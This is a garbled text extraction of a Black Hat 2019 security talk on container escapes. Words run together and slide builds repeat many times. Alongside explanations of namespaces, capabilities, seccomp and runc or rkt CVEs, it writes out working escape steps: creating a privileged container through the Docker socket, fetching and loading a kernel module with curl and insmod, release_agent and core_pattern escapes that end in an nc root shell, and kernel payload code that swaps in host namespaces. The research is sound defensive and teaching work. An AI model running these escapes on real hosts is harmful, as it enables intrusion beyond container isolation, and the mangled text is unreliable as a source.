A
CompendiumofContainer
Escapes
Brandon Edwards & Nick Freeman
BLACK HAT USA 2019

ScopeRequired Reading: Container Basics
Volume I: Container Engine Vulnerabilities
Volume II: Escape via Insecure Configuration
Volume III: Kernel Exploitation

Required Reading: Container Basics

Container != VM

init (systemd)

container
enginecontainer

nginx
nginx

sshd

cron

A task, or set of tasks, withspecial properties to isolate
the task(s), and restrict
access to system resources.

/proc is a special filesystem
mount (procfs) for accessing
system and process
information directly from thekernel by reading “file” entries

task_struct
volatile long statevoid *stack…lots of fields...

int pid 1
int tgid 1
task_struct *parent

user@host:~$ cat /proc/1/commsystemd

cred *cred
fs_struct *fs

PID ofprocesschar comm “systemd”
nsproxy *nsproxycss_set *cgroups...many more fields...

task_struct entrytask->mm_struct->exe_file…lots of fields...

/proc mapping/proc/$PID/exe…lots of fields...

int pid 1
int tgid 1/proc/$PID/proc/$TGID

cred *cred
fs_struct *fs
char *comm/proc/$PID/status/proc/$PID/root (and cwd)
/proc/$PID/commnsproxy *nsproxycss_set *cgroups/proc/$PID/ns//proc/$PID/cgroup...many more fields...

...many more fields...

1. Credentials
2. Capabilities
3. Filesystem
4. Namespaces
5. Cgroups
6. LSMs
7. seccomp

1. Credentials
Credentials describe
the user identity of atask, which determine
its permissions forshared resources suchas files, semaphores,
and shared memory.
See man page credentials(7)The Linux Programming Interface, Kerrisk
No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge,
1225

The Linux Programming Interface, Kerrisk
No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge,
1225

The Linux Programming Interface, Kerrisk
No Starch Press 2010

2. Capabilities

Since kernel 2.2, Linux divides the privileges
associated with superuser into distinct units
known as capabilities.
/proc/$PID/status | man capabilities

Default Docker Capabilities
CAP_KILLCAP_CHOWN
CAP_MKNOD
CAP_SETUIDCAP_SETGID
CAP_SYSLOGCAP_FOWNERCAP_FSETID

CAP_SYS_BOOT
CAP_SYS_TIMECAP_SYS_PACCTCAP_SYS_RAWIOCAP_SYS_ADMINCAP_SYS_CHROOTCAP_SYS_MODULE
CAP_SYS_PTRACECAP_SYS_RESOURCE
CAP_DAC_OVERRIDECAP_MAC_ADMINCAP_MAC_OVERRIDECAP_NET_ADMINCAP_NET_BIND_SERVICE
CAP_NET_BROADCAST
CAP_NET_RAW

Containers are tasks which run should run with arestricted set of capabilities; there are consistency
issues across runtimes/versions

3. Filesystem

The container’s root mount is often planted in acontainer-specialized filesystem, such as OverlayFS/var/lib/docker/overlay2/..hash../diffuser@host:~$ docker run -it --name showfs ubuntu /bin/bash
root@df65b429b317:/#
root@df65b429b317:/# echo "hello" > /file.txt

user@host:~$ docker inspect showfs | grep UpperDir"UpperDir":"/var/lib/docker/overlay2/4119168db2bbaeec3db0919b3129
83b2b49f93790453c532eeeea94c42e336b9/diff",user@host:~$ cat/var/lib/docker/overlay2/4119168db2bbaeec3db0919b
312983b2b49f93790453c532eeeea94c42e336b9/diff/file.txt
hello

TL;DR is that the container’s root of “/” really lives in/var/lib/docker/overlay2/...hash.../This becomes relevant later on.

4. Namespaces
PID:
have their own view of tasks
User:wrap mapping of UID to user
Mount: isolate mount pointsNet:
own networking environment
UTS:
have their own hostname
IPC:
restrict SysV IPC objects
Cgroup: isolate the view of cgroups/proc/$PID/ns/5. CGroups

CPU time

fork() depth

block devices

CGroups organize processes into hierarchical groups whoseusage of various types of system resources can be managed.

6. Linux Security Modules
AppArmor and SELinux are
Linux security modules
providing Mandatory AccessControl (MAC), where accessrules for a program aredescribed by a profile

Docker and LXC enable a default LSM profile inenforcement mode, which mostly serves torestrict a container’s access to sensitive /proc
and /sys entries.
The profile also denies mount syscall.

7. seccomp
kexec_file_load
kexec_load
membarrier
migrate_pages
move_pages
nicepivot_root
sigaction

sigpending
sigprocmask
sigsuspend_sysctl
sysfs
uselibuserfault_fd
vm86

Blocked Syscalls (SCMP_ACT_ERRNO)

bpf
clone
fanotify_init
mount
perf_event_open
setns
umountunshareRequires CAP_SYS_ADMIN

Docker’s default seccomp policy at a glanceseccomp
kexec_file_load
kexec_load
membarrier
migrate_pages
move_pages
nicepivot_root
sigaction

sigpending
sigprocmask
sigsuspend_sysctl
sysfs
uselibuserfault_fd
vm86

Blocked (SCMP_ACT_ERRNO)

bpf
clone
fanotify_init
mount
perf_event_open
setns
umountunshareRequires CAP_SYS_ADMIN

seccomp
kexec_file_load
kexec_load
membarrier
migrate_pages
move_pages
nicepivot_root
sigaction

sigpending
sigprocmask
sigsuspend_sysctl
sysfs
uselibuserfault_fd
vm86

Blocked (SCMP_ACT_ERRNO)

bpf
clone
fanotify_init
mount
perf_event_open
setns
umountunshareRequires CAP_SYS_ADMIN

Container Security Model
What you think you can do

What you can actually do

Where you can do it
User NS
Namespaces

Capabilities

LSM
cgroupscgroupsCredentials

seccomp

Filesystem

Container Security Model
What you think you can do

What you can actually do

Where you can do it
User NS
Namespaces

Capabilities

LSM
cgroupscgroupsCredentials

seccomp

Filesystem

Volume I: Container Engine Vulnerabilities

Docker Vulnerabilities

Docker Vulnerabilities
CVE-2015-3630
CVE-2015-3631

CVE-2015-3627
CVE-2019-15664

CVE-2015-3627
CVE-2015-3629
CVE-2019-15664

Weak /proc permissions

Host FD leakage

Symlinks

Docker Vulnerabilities
CVE-2015-3630
CVE-2015-3631

CVE-2015-3627
CVE-2019-15664

CVE-2015-3627
CVE-2015-3629
CVE-2019-15664

Weak /proc permissions

Host FD leakage

Symlinks

Docker Vulnerabilities
CVE-2015-3630
CVE-2015-3631

CVE-2015-3627
CVE-2019-15664

CVE-2015-3627
CVE-2015-3629
CVE-2019-15664

Weak /proc permissions

Host FD leakage

Symlinks

Recent RunC Vulnerability (CVE-2019-5736)

Regular Container Startup
containerd > containerd-shim > runc
Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces
CONTAINER

PID 1

exec(ENTRYPOINT)/proc/self/exe

Here, ENTRYPOINT is java -jar ...., with java being in that container

Regular Container Startup - Complete
containerd > containerd-shim > runc
Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces
CONTAINER

PID 1

java

exec(ENTRYPOINT)/proc/self/exe

After exec, ps would output containerd > containerd-shim > java

The RunC Escape (CVE-2019-5736)
containerd > containerd-shim > runc
Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces
CONTAINER

PID 1

runc

exec(ENTRYPOINT)/proc/self/exe

But if ENTRYPOINT is /proc/self/exe, it runs runc from the hostThe RunC Escape (CVE-2019-5736)
containerd > containerd-shim > runc
Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces

I'm taking the FD torunc, kthx

CONTAINER

PID 1

runc

exec(ENTRYPOINT)/proc/self/exe

libseccomp2
FD

An evil process/library in the container can get a reference to runc on the hostCVE-2019-5736 Detail
CONTAINER

PID 1

runc

exec(ENTRYPOINT)/proc/self/exe

libseccomp2

exec(./evil /proc/self/fd/3)

FD

PID 2

/evil
FD

Library execs another program, which writes to the host FD. From now on:
containerd > containerd-shim > runc

rkt Vulnerabilities

rkt - CVE-2019-10144/10145/10457
rkt enter

CONTAINER

Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces

PID 1
exec(ENTRYPOINT)/proc/self/exe

rkt - CVE-2019-10144/10145/10457
rkt enter

CONTAINER

Drop privileges,
capabilities, apply
seccomp, make/apply
namespaces

PID 1
exec(ENTRYPOINT)/proc/self/exe

Volume II: Escape via Weak Deployment

Bad idea #1: Exposed Docker Socket
The Docker socket is what you talk to whenever you run a docker
command. You can also access it with curl:$ # equivalent: docker run bad --privileged$ curl --unix-socket $SOCKPATH -d '{"Image":"bad", "Privileged":"true"}'-H 'Content-Type: application/json' 0/containers/create{"Id":"22093d29e3c35e52d1d1dd0e3540e0792d4b5e6dc1847e69a0e5bdcd2d3d9982","Warnings":null}$ curl -XPOST --unix-socket $SOCKETPATH 0/containers/22093..9982/start

Who would do this?! People who want to run Docker inside Docker.

Bad idea #2: --privileged container

Running a Docker container with --privileged removes
most of the isolation provided by containers.
$ curl -O exploit.delivery/bad.ko && insmod bad.ko

Privileged
containers canalso register
usermode
helperprograms

Segue: Usermode Helper Programs
call_usermodehelper_exec()

Usermode Helper Escape PatternContainer

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”/var/lib/docker/overlay2/..hash../diff

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload/var/lib/docker/overlay2/..hash../diff/payload

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs
4.echo $payloadPath > /special/fs/callback

Kernelhelper_program= “”Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs
4.echo $payloadPath > /special/fs/callback

Kernelhelper_program=“/var/lib/docker/overlay2/..hash../diff/payload”

Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs
4.echo $payloadPath > /special/fs/callback
5. trigger or wait for event

Kernelhelper_program=“/var/lib/docker/overlay2/..hash../diff/payload”

Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs
4.echo $payloadPath > /special/fs/callback
5. trigger or wait for event[kthreadd]

Kernelexec /var/lib/docker/overlay2/..hash../diff/payload

helper_program=“/var/lib/docker/overlay2/..hash../diff/payload”

Usermode Helper Escape PatternContainer
1. get overlay path from /etc/mtab “upperdir”
2. set payloadPath=$overlay/payload
3. mount /special/fs
4.echo $payloadPath > /special/fs/callback
5. trigger or wait for event[kthreadd]

Kernelexec /var/lib/docker/overlay2/..hash../diff/payload

helper_program=“/var/lib/docker/overlay2/..hash../diff/payload”

release_agent escaperoot@85c050f5:/# mkdir /tmp/esc
root@85c050f5:/# mount -t cgroup -o rdma cgroup /tmp/esc
root@85c050f5:/# mkdir /tmp/esc/w
root@85c050f5:/# echo 1 > /tmp/esc/w/notify_on_releaseroot@85c050f5:/# pop="$overlay/shell.sh"root@85c050f5:/# echo $pop > /tmp/esc/release_agent
root@85c050f5:/# sleep 5 && echo 0>/tmp/esc/w/cgroup.procs &root@85c050f5:/# nc -l -p 9001
bash: cannot set terminal process group (-1): Inappropriate
ioctl for device
bash: no job control in this shellroot@ubuntu:/#- release_agent- binfmt_misc- core_pattern- uevent_helper- modprobeBad idea #3: Excessive Capabilities
CAP_SYS_MODULE
CAP_SYS_RAWIO
NULL
CAP_SYS_ADMIN
unshare..

// load a kernel module// access dangerous ioctls, map// "true root" - mount, bpf,

… --privileged allows all of the above.
Running your contained process as root is probably excessive, too.

Bad idea #4: Sensitive mounts
Access to the underlying host’s /proc
mount is a bad idea
docker run -v /proc:/host/proc

/host/proc/

is not protected by AppArmor

Bad idea #4: Sensitive mounts
Access to the underlying host’s /proc
mount is a bad idea
/host/proc/sys/kernel/core_pattern

Bad idea #4: Sensitive mounts
Access to the underlying host’s /proc
mount is a bad idea
/host/proc/sys/kernel/core_patterncore_pattern escaperoot@85c050f5:/# cd /host/proc/sys/kernel
root@85c050f5:/# echo “|$overlay/shell.sh” > core_patternroot@85c050f5:/# sleep 5 && ./crash &root@85c050f5:/# nc -l -p 9001
bash: cannot set terminal process group (-1): Inappropriate
ioctl for device
bash: no job control in this shellroot@ubuntu:/#This was a summary of commonly used bad ideas.

Part III:
Kernel Exploitation

The security model of containers
is predicated on kernel integrity

Dirty CoW (CVE-2016-5195)

library.so

PID 500

PID 200write

<__vdso_time>:<+0>: push
rbp<+1>: test
rdi,rdi<+4>: movrax,QWORD PTR [rip+0xffffffffffffc18d]<+11>: mov
rbp,rsp<+14>: je<__vdso_time+19><+16>: mov
QWORD PTR [rdi],rax<+19>:
pop
rbp<+20>:
ret

The virtual dynamic shared object is a special
mapping shared from the kernel with userland

vDSO
Hosty
McHostTas
PID 55551
k

Container
PID 1337

vDSO

vDSO
Hosty
McHostTas
PID 55551
k

Container
PID 1337

vDSO

vDSO
Hosty
McHostTas
PID 55551
k

Container
PID 1337

vDSO

vDSO
Hosty
McHostTas
PID 55551
k

Container
PID 1337vDSO
BONUS FEATURES

vDSO
Hosty
McHostTas
PID 55551
k

Container
PID 1337vDSO
BONUS FEATURES

vDSO
Hosty
McHostTas
What PID 55551
k

Container
PID 1337

time()
is
it?

vDSO

vDSO
Hosty
McHostTas
What PID 55551
k

Container
PID 1337

IT’S
PARTY
TIME

time()
is
it?

vDSO

Let’s talk about some common
goals and patterns

KernelUserspaceKernelUserspace

These two are up
to somethingKernelStep 1:
Memory layout, state
grooming, etc.

UserspaceKernelStep 2:
Trigger
Bug

UserspaceKernelStep 3:
ROP to disable
SMEP/SMAP

UserspaceKernelStep 4:Return to userland

UserspaceKernelStep 5:commit_creds(\
prepare_kernel_creds(0));

Userspacetask_struct
volatile long statevoid *stack…lots of fields...

int pidcred…lots of fields...

kuid_t uid
kuid_t gid
kuid_t euidint tgidtask_struct *parent
cred *cred

kuid_t egid

fs_struct *fs
char comm[TASK_COMM_LEN]

kernel_cap_t cap_effective

nsproxy *nsproxyvoid *security

css_set *cgroups

user_namespace *user_ns...many more fields...

…lots of fields...

kernel_cap_t cap_inheritable...some more fields...

...many more fields...

task_struct
volatile long statevoid *stack…lots of fields...

int pidcred…lots of fields...

kuid_t uid
kuid_t gid
kuid_t euidint tgidtask_struct *parent
cred *cred

kuid_t egid

fs_struct *fs
char comm[TASK_COMM_LEN]

kernel_cap_t cap_effective

nsproxy *nsproxyvoid *security

css_set *cgroups

user_namespace *user_ns...many more fields...

…lots of fields...

kernel_cap_t cap_inheritable...some more fields...

...many more fields...

task_struct
volatile long statevoid *stack…lots of fields...

int pidcred…lots of fields...

kuid_t uid
kuid_t gid
kuid_t euidint tgidtask_struct *parent
cred *cred

kuid_t egid

fs_struct *fs
char comm[TASK_COMM_LEN]

kernel_cap_t cap_effective

nsproxy *nsproxyvoid *security

css_set *cgroups

user_namespace *user_ns...many more fields...

…lots of fields...

kernel_cap_t cap_inheritable...some more fields...

...many more fields...

Revised Container Security Model
What you think you can do

What you can actually do

Where you can do it
User NS
Namespaces

Capabilities

LSM
cgroupscgroupsCredentials

seccomp

Filesystem

Revised Container Security Model
What you think you can do

What you can actually do

Where you can do it
User NS
Namespaces

Capabilities

LSM
cgroupscgroupsCredentials

seccomp

Filesystem

Textbook commit_creds()payload
Assuming a new user namespace hasn’t been set,
this opens up escapes similar to --privileged
Escape becomes trivial via usermode helpers ;)For demo, we will use @andreyknvl kernel bugs

core_pattern escapeuser@85c050f5:/$ ./privesc
root@85c050f5:/# mkdir /newproc
root@85c050f5:/# mount -t proc proc /newproc
root@85c050f5:/# cd /newproc/sys/kernel
root@85c050f5:/# echo “|$overlay/shell.sh” > core_patternroot@85c050f5:/# sleep 5 && ./crash &root@85c050f5:/# nc -l -p 9001
bash: cannot set terminal process group (-1): Inappropriate
ioctl for device
bash: no job control in this shellroot@ubuntu:/#Kernel Exploitation

But what if they do employ usernamespaces?

task_struct
volatile long statevoid *stack…lots of fields...

int pid
int tgidtask_struct *parent
cred *cred
fs_struct *fs
char comm[TASK_COMM_LEN]
nsproxy *nsproxycss_set *cgroups...many more fields...

nsproxy
atomic_t count
uts_namespace *uts_ns
ipc_namespace *ipc_ns
mnt_namespace *mnt_ns
pid_namespace *pid_ns_for_children
net *net_ns
cgroup_namespace *cgroup_ns

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,(void *)INIT_NSPROXY);PID "1"

ContainerEscaping with namespaces// copy INIT_NSPROXY to the in-container "init"((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,(void *)INIT_NSPROXY);PID "1"

ContainerEscaping with namespaces// copy INIT_NSPROXY to the in-container "init"((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,(void *)INIT_NSPROXY);// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,"/proc/1/ns/mnt",
O_RDONLY,
0);

PID "1"

ContainerEscaping with namespaces// copy INIT_NSPROXY to the in-container "init"((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,(void *)INIT_NSPROXY);// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,"/proc/1/ns/mnt",
O_RDONLY,
0);

PID "1"// call setns() on it, giving our a better mount((_sys_setns)(SYS_SETNS))(fd, 0);ContainerEscaping with namespaces// copy INIT_NSPROXY to the in-container "init"((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,(void *)INIT_NSPROXY);// grab in-container init's mnt NS fd
int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,"/proc/1/ns/mnt",
O_RDONLY,
0);

PID "1"May lock your host if "PID 1" execs again :(// call setns() on it, giving our a better mount((_sys_setns)(SYS_SETNS))(fd, 0);Container

OR...

task_struct

fs_struct

volatile long state

int users

void *stack
int pid

spinlock_t lockseqcount_t seq
int umask

int tgidtask_struct *parent
cred *cred

int in_exec
struct path root
struct path pwd…lots of fields...

fs_struct *fs
char comm[TASK_COMM_LEN]
nsproxy *nsproxycss_set *cgroups...many more fields...

Getting true init
task = (char *)get_task();
init = task;
while (pid != 1) {init = *(char **)(init + PARENT_OFFSET);
pid = *(uint32_t *)(init + PID_OFFSET);
}

PID 1

Container

Getting true init
task = (char *)get_task();
init = task;
while (pid != 1) {init = *(char **)(init + PARENT_OFFSET);
pid = *(uint32_t *)(init + PID_OFFSET);
}

PID 1

Container

Getting true init
task = (char *)get_task();
init = task;
while (pid != 1) {init = *(char **)(init + PARENT_OFFSET);
pid = *(uint32_t *)(init + PID_OFFSET);
}

PID 1

ContainerSwapping out fs_struct// #define TASK_FS_OFFSET = use pahole() for target kernel// #define COPY_FS_STRUCT = check /proc/kallsyms for target
kernel*(uint64_t *)(task + TASK_FS_OFFSET) =((_copy_fs_struct)(COPY_FS_STRUCT))(*(uint64_t *)(init + TASK_FS_OFFSET));Swapping out fs_struct// #define TASK_FS_OFFSET = use pahole() for target kernel// #define COPY_FS_STRUCT = check /proc/kallsyms for target kernel*(uint64_t *)(task + TASK_FS_OFFSET) =((_copy_fs_struct)(COPY_FS_STRUCT))(*(uint64_t *)(init + TASK_FS_OFFSET));
user@85c050f5:/tmp$ ./escape// now that we have the root fs, we have free reign
root@85c050f5:/tmp# docker run -it --privileged --pid host -v /:/hostroot
ubunturoot@b33dac42:/# chroot /hostroot# :)Takeaways

YMMV: Differences in engines, tools,
ecosystem change security of containersNamespaces are hard
(ref: CVE-2018-18955)

Engine bugs are awesome,
but probably not how you’ll get popped

Thank you
Brandon Edwards

Nick Freeman@drraid@0x7674

brandon@capsule8.com

nick@capsule8.com

References
Spender was escaping before containers were containers, checkout the work:https://www.grsecurity.net/~spender/exploits/
Abusing Privileged and Unprivileged Linux Containers, Jesse Hertz, NCC Grouphttps://www.nccgroup.trust/globalassets/ourresearch/us/whitepapers/2016/june/container_whitepaper.pdf
Escape via dirtycow-vdso, scumjr
https://github.com/scumjr/dirtycow-vdso

Docker Escape Technology, Shengping Wang, Qihoo 360 Marvel Teamhttps://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf
An Exercise in Practical Container Escapology, Nick Freeman, Capsule8
https://capsule8.com/blog/practical-container-escape-exercise/References
CVE-2019-5736 RunC Escape, Adam Iwaniuk, Borys Poplawski
https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
Breaking Out of rkt, Yuval Avrahami, Twistlock
https://www.twistlock.com/labs-blog/breaking-out-of-coresos-rkt-3-new-cves/